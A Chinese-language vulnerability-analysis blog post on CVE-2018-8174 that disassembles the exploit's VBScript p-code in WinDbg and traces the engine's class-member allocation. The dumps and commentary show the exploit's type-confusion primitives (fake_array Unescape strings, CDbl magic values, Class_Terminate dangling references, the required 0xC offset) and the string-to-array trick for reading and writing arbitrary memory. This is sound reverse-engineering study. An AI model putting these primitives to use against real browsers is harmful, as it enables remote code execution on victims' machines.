从cve-2018-8174到VBScript解释器的内部结构

0x00 前言

上一篇在8174中,尽管通过windbg和源码分析中,我们大致了解了漏洞原理及其利用过程,但是,细想起来,对Vbscript解释器在类及其对象的内存管理是非常陌生的,以至于过了几天,想不起来这个漏洞的原理以及分析过程,所以,我们很有必要对Vbs的解析器内部过程进行分析。

传送门:

[+]windbg的py扩展参考

0x01 概念

众所周知,采用VB编写的应用程序有两种编译方式,一种是Native Code方式,另一种就是P-code方式。事实上,VB 4.0以前只采用P-code编译,VB Native Code是在VB 5.0以后发展起来的,其目的是为了在一定程度上改善VB应用程序的运行速度。VB P-code的运行速度较慢,这是由它本身的运行机制所决定的。

P-code,即Pseudo Code(伪代码),这一概念最早出现在Pascal编译器中,它是为了提供跨平台可移植性而产生的,实现这一编译机制的Pascal编译器被称为”Pascal P Compiler”。Sun公司在其推出的Java语言上也成功地实现了这种机制。Java程序的伪编译代码由一系列代表一定意义的字节码(byte code)组成,它们同属于一套特定的指令集,这种字节码不能由不同的CPU直接执行,而是要通过特殊的解释器翻译为CPU可以识别的指令才能执行,这种解释器就是我们常说的”虚拟机”。

只要在不同的平台上提供虚拟机,把字节码翻译为对应的CPU指令集,也就实现了所谓的跨平台特性。Microsoft推出的VB P-code,实际上也是一组自定义的指令集,必须通过基于堆栈的虚拟机翻译为80X86上的指令集才能执行,担任虚拟机任务的就是msvbvm50.dll和msvbvm60.dll这两个动态链接库文件。由于在文件执行过程中多出了这一个解释的步骤,自然要影响到其执行的速度。正如我们所看到的,VB P-code并没有实现所谓的跨平台运行特性,这对于Pseudo这个词的起源是不恰当的;另一方面,采用P-code形式编译的VB应用程序的体积要小于采用Native Code形式编译的同样程序(这是由于P-code指令集的每一条指令对应于一组80X86指令所完成的任务),所以VB P-code实际上意味着VB Packed-code(压缩代码),用以强调VB P-code程序较小的代码体积。

vbs引擎执行脚本的大致流程是先将脚本内容解析成相应的opcode字节码(该字节码可以解析成P-code(类似于二进制PE文件的反汇编)便于调试人员静态分析其执行流程),然后虚拟机中的CScriptRuntime类将会接管这些字节码并基于特定的堆栈规则开始解释执行。通过研究相应的P-code代码,可以让我们更直观地去理解vbs虚拟机的一些机制。

0x02 8174的p-code代码及分析

0:000> sxe ld:Vbscript
0:000> g
eax=00000000 ebx=00000000 ecx=00000074 edx=00437a48 esi=7ffd9000 edi=01f2c1ec
eip=77b970b4 esp=01f2c104 ebp=01f2c158 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
77b970b4 c3              ret
2:036> ld vbscript
Symbols loaded for vbscript
2:036> bp CScriptRuntime::RunNoEH
2:036> bl
     0 e Disable Clear  6aa427fe     0001 (0001)  2:**** vbscript!CScriptRuntime::RunNoEH
2:036> g
Breakpoint 0 hit
eax=01f2d2f0 ebx=01f2d43c ecx=01f2d32c edx=00000000 esi=01f2d32c edi=01f2d43c
eip=6aa427fe esp=01f2d2d8 ebp=01f2d31c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!CScriptRuntime::RunNoEH:
6aa427fe 8bff            mov     edi,edi
2:036> !load pykd.pyd //
2:036> !py C:\Users\xutianyao\Desktop\VBscriptInternals-master\kl_vbs_disasm_windbg.py
    Global code [max stack = 2]:
        tmp count = 14
    Pcode:
        027E4DA8 - 0000    OP_FnBind        'tostring' 1 FALSE
        027E4DB2 - 000A    OP_FnBind        'addr2str' 2 FALSE
        027E4DBC - 0014    OP_FnBind        'make_ntcontinue_bytes' 3 FALSE
        027E4DC6 - 001E    OP_FnBind        'make_virtualprotect_bytes' 4 FALSE
        027E4DD0 - 0028    OP_FnBind        'make_final_bytes' 5 FALSE
        027E4DDA - 0032    OP_FnBind        'trigger_var_clear' 6 FALSE
        027E4DE4 - 003C    OP_FnBind        'shellcode' 7 FALSE
        027E4DEE - 0046    OP_FnBind        'GetUint32' 8 FALSE
        027E4DF8 - 0050    OP_FnBind        'read_unit32_low_four' 9 FALSE
        027E4E02 - 005A    OP_FnBind        'read_unit32_low_two' 10 FALSE
        027E4E0C - 0064    OP_FnBind        'cmp_str' 11 FALSE
        027E4E16 - 006E    OP_FnBind        'GetBaseAddrByPoiAddr' 12 FALSE
        027E4E20 - 0078    OP_FnBind        'GetModuleFromImport' 13 FALSE
        027E4E2A - 0082    OP_FnBind        'GetProcAddress' 14 FALSE
        027E4E34 - 008C    OP_FnBind        'read_longint' 15 FALSE
        027E4E3E - 0096    OP_FnBind        'set_need_longint' 16 FALSE
        027E4E48 - 00A0    OP_FnBind        'EmptyFunc' 17 FALSE
        027E4E52 - 00AA    OP_FnBind        'exp_c' 18 FALSE
        027E4E5C - 00B4    OP_FnBind        'exp_a' 19 FALSE
        027E4E66 - 00BE    OP_FnBind        'exp_b' 20 FALSE
        027E4E70 - 00C8    OP_FnBind        'StartExploit' 21 FALSE
        027E4E7A - 00D2    OP_FnBind        'class_getp_b' 22 TRUE
        027E4E84 - 00DC    OP_FnBind        'class_getp_a' 24 TRUE
        027E4E8E - 00E6    OP_FnBind        'class_fun_a' 26 TRUE
        027E4E98 - 00F0    OP_FnBind        'class_setprop_a' 29 TRUE
        027E4EA2 - 00FA    OP_FnBind        'empty_class' 32 TRUE
        027E4EAC - 0104    OP_FnBind        'class_ter_b' 33 TRUE
        027E4EB6 - 010E    OP_FnBind        'class_ter_a' 35 TRUE
        027E4EC0 - 0118    OP_VarBind       'ab' 1 FALSE
        027E4EC8 - 0120    OP_VarBind       'wild_ref_arr_a' 2 FALSE
        027E4ED0 - 0128    OP_VarBind       'wild_ref_arr_b' 3 FALSE
        027E4ED8 - 0130    OP_VarBind       'idx' 4 FALSE
        027E4EE0 - 0138    OP_VarBind       'aa' 5 FALSE
        027E4EE8 - 0140    OP_VarBind       'fake_array' 6 FALSE
        027E4EF0 - 0148    OP_VarBind       'fake_str' 7 FALSE
        027E4EF8 - 0150    OP_VarBind       'rw_var' 8 FALSE
        027E4F00 - 0158    OP_VarBind       'setprop_a_1' 9 FALSE
        027E4F08 - 0160    OP_VarBind       'setprop_a_2' 10 FALSE
        027E4F10 - 0168    OP_VarBind       'getp_a' 11 FALSE
        027E4F18 - 0170    OP_VarBind       'getp_b' 12 FALSE
        027E4F20 - 0178    OP_VarBind       'api_NtContinue' 13 FALSE
        027E4F28 - 0180    OP_VarBind       'api_VirtualProtect' 14 FALSE
        ***BOS(12,52)*** Dim wild_ref_arr_a(6), wild_ref_arr_b(6) *****
        027E4F30 - 0188    OP_Bos1          0
        027E4F32 - 018A    OP_IntConst      6
        027E4F34 - 018C    OP_ArrLclDim     2 1
        027E4F39 - 0191    OP_IntConst      6
        027E4F3B - 0193    OP_ArrLclDim     3 1
        ***BOS(63,73)*** Dim aa(40) *****
        027E4F40 - 0198    OP_Bos1          1
        027E4F42 - 019A    OP_IntConst      40
        027E4F44 - 019C    OP_ArrLclDim     5 1
        ***BOS(203,221)*** rw_var = 195948557 *****
        027E4F49 - 01A1    OP_Bos1          2
        027E4F4B - 01A3    OP_LngConst      195948557
        027E4F50 - 01A8    OP_LocalSt       8
        ***BOS(225,240)*** idx = 195890093 *****
        027E4F53 - 01AB    OP_Bos1          3
        027E4F55 - 01AD    OP_LngConst      195890093
        027E4F5A - 01B2    OP_LocalSt       4
        ***BOS(244,341)*** fake_array = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") *****
        027E4F5D - 01B5    OP_Bos1          4
        027E4F5F - 01B7    OP_StrConst      '%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000'
        027E4F64 - 01BC    OP_CallNmdAdr    'Unescape' 1
        027E4F6B - 01C3    OP_LocalSt       6
        ***BOS(343,416)*** fake_str   = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") *****
        027E4F6E - 01C6    OP_Bos1          5
        027E4F70 - 01C8    OP_StrConst      '%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000'
        027E4F75 - 01CD    OP_CallNmdAdr    'Unescape' 1
        027E4F7C - 01D4    OP_LocalSt       7
        ***BOS(8257,8286)*** Set getp_a = New class_getp_a *****
        027E4F7F - 01D7    OP_Bos1          6
        027E4F81 - 01D9    OP_InitClass     'class_getp_a'
        027E4F86 - 01DE    OP_LocalSet      11
        ***BOS(8288,8317)*** Set getp_b = New class_getp_b *****
        027E4F89 - 01E1    OP_Bos1          7
        027E4F8B - 01E3    OP_InitClass     'class_getp_b'
        027E4F90 - 01E8    OP_LocalSet      12
        ***BOS(10047,10059)*** StartExploit *****
        027E4F93 - 01EB    OP_Bos1          8
        027E4F95 - 01ED    OP_CallNmdVoid   'StartExploit' 0
        027E4F9C - 01F4    OP_Bos0         
        027E4F9D - 01F5    OP_FuncEnd      
Function 1 ('tostring') [max stack = 3]://函数1 tostring
    arg count = 2
        arg  -1 = val Variant    'Number'
        arg  -2 = val Variant    'Length'
    lcl count = 0
Pcode:
    ***BOS(470,487)*** str = Hex(Number) *****
    027E4FE0 - 0000    OP_Bos1          0
    027E4FE2 - 0002    OP_LocalAdr      -1
    027E4FE5 - 0005    OP_CallNmdAdr    'Hex' 1
    027E4FEC - 000C    OP_NamedSt       'str'
    ***BOS(490,515)*** If Len(str) < Length Then *****
    027E4FF1 - 0011    OP_Bos1          1
    027E4FF3 - 0013    OP_NamedAdr      'str'
    027E4FF8 - 0018    OP_CallNmdAdr    'Len' 1
    027E4FFF - 001F    OP_LocalAdr      -2
    027E5002 - 0022    OP_LT           
    027E5003 - 0023    OP_JccFalse      0057
    ***BOS(519,560)*** str = String(Length - Len(str), "0") &str *****
    027E5008 - 0028    OP_Bos1          2
    027E500A - 002A    OP_LocalAdr      -2
    027E500D - 002D    OP_NamedAdr      'str'
    027E5012 - 0032    OP_CallNmdAdr    'Len' 1
    027E5019 - 0039    OP_Sub          
    027E501A - 003A    OP_StrConst      '0'
    027E501F - 003F    OP_CallNmdAdr    'String' 2
    027E5026 - 0046    OP_NamedAdr      'str'
    027E502B - 004B    OP_Conc         
    027E502C - 004C    OP_NamedSt       'str'
    027E5031 - 0051    OP_Bos0         
    027E5032 - 0052    OP_Jmp           006D
    ***BOS(571,595)*** str = Right(str, Length) *****
    027E5037 - 0057    OP_Bos1          3
    027E5039 - 0059    OP_NamedAdr      'str'
    027E503E - 005E    OP_LocalAdr      -2
    027E5041 - 0061    OP_CallNmdAdr    'Right' 2
    027E5048 - 0068    OP_NamedSt       'str'
    ***BOS(607,621)*** tostring = str *****
    027E504D - 006D    OP_Bos1          4
    027E504F - 006F    OP_NamedAdr      'str'
    027E5054 - 0074    OP_LocalSt       0
    ***BOS(623,635)*** End Function *****
    027E5057 - 0077    OP_Bos1          5
    027E5059 - 0079    OP_FnReturn     
    027E505A - 007A    OP_Bos0         
    027E505B - 007B    OP_FuncEnd      

...
//此处省略很多个函数     
...
Function 24 ('class_getp_a') [max stack = 1]://函数23 class_getp_a 混淆类a
    arg count = 0
    lcl count = 0
Pcode:
    027E61C4 - 0000    OP_CreateClass   'class_getp_a' //构造函数
    027E61C9 - 0005    OP_FnBindEx      'p' 25 TRUE    //成员函数p,默认属性获取函数已成功绑定
    027E61D3 - 000F    OP_LocalSet      0
    027E61D6 - 0012    OP_FnReturn     //函数返回

Function 25 ('p') [max stack = 3]: //统计该类中最大堆栈层数为3   类似于函数嵌套层数
    arg count = 0
    lcl count = 1
        lcl   1 =     Variant    'fun' //一个局部变量 Variant类型的 fun
    tmp count = 4 //4个临时“变量”  循环计数i 始末索引0,6,步数1
Pcode:
    ***BOS(7710,7742)*** P = CDbl("174088534690791e-324") *****
    027E6210 - 0000    OP_Bos1          0
    027E6212 - 0002    OP_StrConst      '174088534690791e-324' //取出字符串常量 将字符串’174088534690791e-324’转换为VARIANT结构
    027E6217 - 0007    OP_CallNmdAdr    'CDbl' 1 //调用CDbl函数将字符串转换为双精度值
    027E621E - 000E    OP_LocalSt       0      //存入返回值p
    ***BOS(7748,7760)*** For i=0 To 6 *****
    027E6221 - 0011    OP_Bos1          1
    027E6223 - 0013    OP_IntConst      0
    027E6225 - 0015    OP_IntConst      6
    027E6227 - 0017    OP_IntConst      1
    027E6229 - 0019    OP_ForInitNamed  'i' 5 4  //循环所需变量初始化
    027E6232 - 0022    OP_JccFalse      0047      //循环终止 跳转到0x47处
    ***BOS(7765,7786)*** wild_ref_arr_a(i) = 0 *****
    027E6237 - 0027    OP_Bos1          2
    027E6239 - 0029    OP_IntConst      0   //常整数 0
    027E623B - 002B    OP_NamedAdr      'i' //取出索引i的Position
    027E6240 - 0030    OP_CallNmdSt     'wild_ref_arr_a' 1  //将0赋值给wild_ref_arr_a(i)
    ***BOS(7790,7794)*** Next *****
    027E6247 - 0037    OP_Bos1          3
    027E6249 - 0039    OP_ForNextNamed  'i' 5 4
    027E6252 - 0042    OP_JccTrue       0027 //跳转到循环开始
    ***BOS(7798,7823)*** Set fun = New class_fun_a *****
    027E6257 - 0047    OP_Bos1          4
    027E6259 - 0049    OP_InitClass     'class_fun_a'
    027E625E - 004E    OP_LocalSet      1
    ***BOS(7827,7847)*** fun.mem = fake_array *****
    027E6261 - 0051    OP_Bos1          5
    027E6263 - 0053    OP_NamedAdr      'fake_array'  //先取出fake_array全局变量的值
    027E6268 - 0058    OP_LocalAdr      1 //找到栈中1的变量fun
    027E626B - 005B    OP_MemSt         'mem' //memstore 将fake_array保存到fun结构的mem成员
    ***BOS(7853,7865)*** For i=0 To 6 *****
    027E6270 - 0060    OP_Bos1          6
    027E6272 - 0062    OP_IntConst      0
    027E6274 - 0064    OP_IntConst      6
    027E6276 - 0066    OP_IntConst      1
    027E6278 - 0068    OP_ForInitNamed  'i' 3 2
    027E6281 - 0071    OP_JccFalse      0097
    ***BOS(7870,7897)*** Set wild_ref_arr_a(i) = fun *****
    027E6286 - 0076    OP_Bos1          7
    027E6288 - 0078    OP_LocalAdr      1
    027E628B - 007B    OP_NamedAdr      'i'
    027E6290 - 0080    OP_CallNmdSet    'wild_ref_arr_a' 1
    ***BOS(7901,7905)*** Next *****
    027E6297 - 0087    OP_Bos1          8
    027E6299 - 0089    OP_ForNextNamed  'i' 3 2
    027E62A2 - 0092    OP_JccTrue       0076
    ***BOS(7910,7922)*** End Property *****
    027E62A7 - 0097    OP_Bos1          9
    027E62A9 - 0099    OP_FnReturn     
    027E62AA - 009A    OP_Bos0         
    027E62AB - 009B    OP_FuncEnd      

Function 26 ('class_fun_a') [max stack = 1]://函数26 class_fun_a的构造函数
    arg count = 0
    lcl count = 0
Pcode:
    027E62DC - 0000    OP_CreateClass   'class_fun_a'      //构造函数
    027E62E1 - 0005    OP_FnBindEx      'Read_Memory' 27 FALSE //成员函数
    027E62EB - 000F    OP_FnBindEx      'SPP' 28 FALSE //成员函数
    027E62F5 - 0019    OP_CreateVar     'mem' FALSE  //成员变量
    027E62FB - 001F    OP_LocalSet      0
    027E62FE - 0022    OP_FnReturn     

Function 27 ('Read_Memory') [max stack = 2]://27
    arg count = 0
    lcl count = 0
Pcode:
    ***BOS(7488,7523)*** Read_Memory = LenB(mem(rw_var + 8)) *****
    027E6330 - 0000    OP_Bos1          0
    027E6332 - 0002    OP_NamedAdr      'rw_var'
    027E6337 - 0007    OP_IntConst      8
    027E6339 - 0009    OP_Add          
    027E633A - 000A    OP_CallNmdAdr    'mem' 1
    027E6341 - 0011    OP_CallNmdAdr    'LenB' 1
    027E6348 - 0018    OP_LocalSt       0
    ***BOS(7556,7568)*** End Function *****
    027E634B - 001B    OP_Bos1          1
    027E634D - 001D    OP_FnReturn     
    027E634E - 001E    OP_Bos0         
    027E634F - 001F    OP_FuncEnd      

Function 28 ('SPP') [max stack = 0]://28
    arg count = 0
    lcl count = 0
Pcode:
    ***BOS(7588,7600)*** End Function *****
    027E6380 - 0000    OP_Bos1          0
    027E6382 - 0002    OP_FnReturn     
    027E6383 - 0003    OP_Bos0         
    027E6384 - 0004    OP_FuncEnd      

Function 29 ('class_setprop_a') [max stack = 1]://29 class_setprop_a的构造函数
    arg count = 0
    lcl count = 0
Pcode:
    027E63B8 - 0000    OP_CreateClass   'class_setprop_a' //构造函数 调用VBScriptClass::Create函数来创建VBScriptClass对象。
    027E63BD - 0005    OP_FnBindEx      'p' 30 FALSE //成员函数p,FALSE表示function bind的结果,绑定失败VBS虚拟机会调用VbscriptClass::CreateVar创建相应成员变量
    027E63C7 - 000F    OP_FnBindEx      'SetProp' 31 FALSE //成员函数 SetProp
    027E63D1 - 0019    OP_CreateVar     'mem' FALSE //成员变量mem
    027E63D7 - 001F    OP_LocalSet      0  //设置返回地址 退栈操作 
    027E63DA - 0022    OP_FnReturn     //含糊返回

Function 30 ('p') [max stack = 0]:
    arg count = 0 //函数p参数数量
    lcl count = 0 //函数p局部变量数量
Pcode:
    ***BOS(7236,7248)*** End Function *****
    027E640C - 0000    OP_Bos1          0  //描述当前函数代码块
    027E640E - 0002    OP_FnReturn         //push返回地址
    027E640F - 0003    OP_Bos0                 //pop返回地址
    027E6410 - 0004    OP_FuncEnd           //函数返回结束

Function 31 ('SetProp') [max stack = 1]:
    arg count = 1 //参数数量为1
        arg  -1 = ref Variant    'value' //形参value位于arg -1的位置,即返回地址之上,,类似于intel32汇编中的先压入返回地址然后压入参数
    lcl count = 0 //无局部变量
Pcode:
    ***BOS(7283,7294)*** mem = Value *****
    027E644C - 0000    OP_Bos1          0
    027E644E - 0002    OP_LocalAdr      -1  //push arg-1数据value
    027E6451 - 0005    OP_NamedSt       'mem' //上一步push的value保存在mem中
    ***BOS(7298,7309)*** SetProp = 0 *****
    027E6456 - 000A    OP_Bos1          1
    027E6458 - 000C    OP_IntConst      0 //压入常数0
    027E645A - 000E    OP_LocalSt       0//将0保存到argv位置,即设置函数Setprop为0
    ***BOS(7312,7324)*** End Function *****
    027E645D - 0011    OP_Bos1          2
    027E645F - 0013    OP_FnReturn     //push返回地址
    027E6460 - 0014    OP_Bos0         
    027E6461 - 0015    OP_FuncEnd      //函数返回结束

Function 32 ('empty_class') [max stack = 1]:
    arg count = 0
    lcl count = 0
Pcode:
    027E6494 - 0000    OP_CreateClass   'empty_class'
    027E6499 - 0005    OP_LocalSet      0
    027E649C - 0008    OP_FnReturn     

Function 33 ('class_ter_b') [max stack = 1]:
    arg count = 0
    lcl count = 0
Pcode:
    027E64D0 - 0000    OP_CreateClass   'class_ter_b'
    027E64D5 - 0005    OP_FnBindEx      'Class_Terminate' 34 TRUE
    027E64DF - 000F    OP_LocalSet      0
    027E64E2 - 0012    OP_FnReturn     

Function 34 ('Class_Terminate') [max stack = 2]:
    flags     = (4002) sub private
    arg count = 0
    lcl count = 0
Pcode:
    ***BOS(7069,7100)*** Set wild_ref_arr_b(idx) = ab(1) *****
    027E6514 - 0000    OP_Bos1          0
    027E6516 - 0002    OP_IntConst      1
    027E6518 - 0004    OP_CallNmdAdr    'ab' 1
    027E651F - 000B    OP_NamedAdr      'idx'
    027E6524 - 0010    OP_CallNmdSet    'wild_ref_arr_b' 1
    ***BOS(7104,7117)*** idx = idx + 1 *****
    027E652B - 0017    OP_Bos1          1
    027E652D - 0019    OP_NamedAdr      'idx'
    027E6532 - 001E    OP_IntConst      1
    027E6534 - 0020    OP_Add          
    027E6535 - 0021    OP_NamedSt       'idx'
    ***BOS(7121,7130)*** ab(1) = 1 *****
    027E653A - 0026    OP_Bos1          2
    027E653C - 0028    OP_IntConst      1
    027E653E - 002A    OP_IntConst      1
    027E6540 - 002C    OP_CallNmdSt     'ab' 1
    ***BOS(7133,7140)*** End Sub *****
    027E6547 - 0033    OP_Bos1          3
    027E6549 - 0035    OP_FuncEnd      

Function 35 ('class_ter_a') [max stack = 1]:
    arg count = 0
    lcl count = 0
Pcode:
    027E657C - 0000    OP_CreateClass   'class_ter_a'
    027E6581 - 0005    OP_FnBindEx      'Class_Terminate' 36 TRUE
    027E658B - 000F    OP_LocalSet      0
    027E658E - 0012    OP_FnReturn     

Function 36 ('Class_Terminate') [max stack = 2]:
    flags     = (4002) sub private
    arg count = 0
    lcl count = 0
Pcode:
    ***BOS(6930,6961)*** Set wild_ref_arr_a(idx) = ab(1) *****
    027E65C0 - 0000    OP_Bos1          0
    027E65C2 - 0002    OP_IntConst      1
    027E65C4 - 0004    OP_CallNmdAdr    'ab' 1
    027E65CB - 000B    OP_NamedAdr      'idx'
    027E65D0 - 0010    OP_CallNmdSet    'wild_ref_arr_a' 1
    ***BOS(6965,6978)*** idx = idx + 1 *****
    027E65D7 - 0017    OP_Bos1          1
    027E65D9 - 0019    OP_NamedAdr      'idx'
    027E65DE - 001E    OP_IntConst      1
    027E65E0 - 0020    OP_Add          
    027E65E1 - 0021    OP_NamedSt       'idx'
    ***BOS(6982,6991)*** ab(1) = 1 *****
    027E65E6 - 0026    OP_Bos1          2
    027E65E8 - 0028    OP_IntConst      1
    027E65EA - 002A    OP_IntConst      1
    027E65EC - 002C    OP_CallNmdSt     'ab' 1
    ***BOS(6994,7001)*** End Sub *****
    027E65F3 - 0033    OP_Bos1          3
    027E65F5 - 0035    OP_FuncEnd      

注意class_fun_a类和class_setprop_a类

上一篇中提到,卡巴斯基如下的公式:

//VVAL结构占用的数据量使用公式0x32 + UTF-16中变量名的长度计算。

class_setprop_a 
[+0x00] VVAL 'p'
        size:0x32 + len('p')=0x34
[+0x34]

img

下图显示了在分配’class_fun_a’代替setprop_a_1’时,’setprop_a_1’’变量相对于class_fun_a’变量的位置。

img

0xB8 - 0xAC =C

img

String类型的对象被转换为Array类型的对象,之前被认为是字符串的数据被视为Array控件结构,并被允许访问进程的整个地址空间。

同样的,当被修改为0x0003即int类型时,可以访问我们任意赋值的地址,而前面修改的Array类型可以保证读写任意大小内存。

还有一个疑问是,为什么Vbscript中关于类及其成员的大小计算公式是0x32+双字成员名称大小,我们需要写一个小demo来测试一哈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html lang="en">
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>

<body>
<SCRIPT LANGUAGE="VBScript">
Class class_getp_b //混淆类2
Dim mem
Public Default Property Get P
Dim fun
'00000003 00000000
P = CDbl("636598737289582e-328")
End Property

Function SPP
End Function
End Class
ab = New class_getp_b
ab = null
</script>
</body>
</html>

对应的p-code码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
0:000> ld vbscript
Symbols loaded for vbscript
0:000> bp CScriptRuntime::RunNoEH
0:000> bl
0 e Disable Clear 682327fe 0001 (0001) 0:**** vbscript!CScriptRuntime::RunNoEH
0:000> g
(b3c.f0c): Break instruction exception - code 80000003 (first chance)
eax=7ffd8000 ebx=00000000 ecx=00000000 edx=77bef125 esi=00000000 edi=00000000
eip=77b840f0 esp=02fbfb08 ebp=02fbfb34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77b840f0 cc int 3
0:010> g
Breakpoint 0 hit
eax=020ad470 ebx=020ad5bc ecx=020ad4ac edx=00000000 esi=020ad4ac edi=020ad5bc
eip=682327fe esp=020ad458 ebp=020ad49c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!CScriptRuntime::RunNoEH:
682327fe 8bff mov edi,edi
0:005> !load pykd.pyd
0:005> !py C:\Users\xutianyao\Desktop\VBscriptInternals-master\kl_vbs_disasm_windbg.py
Global code [max stack = 1]:
flags = (8000) noconnect
Pcode:
01D2B120 - 0000 OP_FnBind 'class_getp_b' 1 TRUE
***BOS(201,222)*** ab = New class_getp_b *****
01D2B12A - 000A OP_Bos1 0
01D2B12C - 000C OP_InitClass 'class_getp_b'
01D2B131 - 0011 OP_NamedSt 'ab'
***BOS(225,234)*** ab = null *****
01D2B136 - 0016 OP_Bos1 1
01D2B138 - 0018 OP_Null
01D2B139 - 0019 OP_NamedSt 'ab'
01D2B13E - 001E OP_Bos0
01D2B13F - 001F OP_FuncEnd

Function 1 ('class_getp_b') [max stack = 1]://构造函数
flags = (8000) noconnect
arg count = 0
lcl count = 0
Pcode:
01D2B170 - 0000 OP_CreateClass 'class_getp_b' //应该注意的是这里
01D2B175 - 0005 OP_FnBindEx 'P' 2 TRUE
01D2B17F - 000F OP_FnBindEx 'SPP' 3 FALSE
01D2B189 - 0019 OP_CreateVar 'mem' FALSE
01D2B18F - 001F OP_LocalSet 0
01D2B192 - 0022 OP_FnReturn

Function 2 ('P') [max stack = 2]:
flags = (8000) noconnect
arg count = 0
lcl count = 1
lcl 1 = Variant 'fun'
Pcode:
***BOS(108,140)*** P = CDbl("636598737289582e-328") *****
01D2B1CC - 0000 OP_Bos1 0
01D2B1CE - 0002 OP_StrConst '636598737289582e-328'
01D2B1D3 - 0007 OP_CallNmdAdr 'CDbl' 1
01D2B1DA - 000E OP_LocalSt 0
***BOS(143,155)*** End Property *****
01D2B1DD - 0011 OP_Bos1 1
01D2B1DF - 0013 OP_FnReturn
01D2B1E0 - 0014 OP_Bos0
01D2B1E1 - 0015 OP_FuncEnd

Function 3 ('SPP') [max stack = 0]:
flags = (8000) noconnect
arg count = 0
lcl count = 0
Pcode:
***BOS(175,187)*** End Function *****
01D2B214 - 0000 OP_Bos1 0
01D2B216 - 0002 OP_FnReturn
01D2B217 - 0003 OP_Bos0
01D2B218 - 0004 OP_FuncEnd

分析p-code码,感觉还不太够,关于类分配的分配过程,我们还需要看看是在哪里进行分配的,如何分配空间的。

逆向Vbscript模块,经过大佬指点和分析,通过vbscript!CScriptRuntime::RunNoEH的一系列调用,最终在vbscript!NameList::FCreateVval函数中,进行分配。

img

img

逆向该函数,可以看到卡巴斯基分析中公式的来源,恍然大悟。windbg中调试,可以看到当前成员名为SPP,长度为3

1
2
3
4
5
6
7
8
9
10
11
12
13
0:005> dd ebp+8
01fbcd60 01fbcdc0 01fbcda0 00000000 00000000 //01fbcdc0为第一参数 即SYM*

0:005> dd 01fbcdc0
01fbcdc0 0031fa20 00000003 000089b3 00000001

0:005> du 0031fa20 //当前成员名
0031fa20 "SPP"

0:005> dd 01fbcdc0 +4
01fbcdc4 00000003 000089b3 00000001 01fbcdec //当前成员字符数为3
01fbcdd4 69241738 6929a4f8 0000004a 0031004c
01fbcde4 0031eac0 0031ecf0 01fbce04 0031ecf0

也即就是说,在8174的利用代码中,当我们随意设置setprop_a类成员名和class_fun_a成员名,使得其对象总大小偏移不等于0xc,那么类型覆盖会出错,即不能成功利用。测试后,果真如此。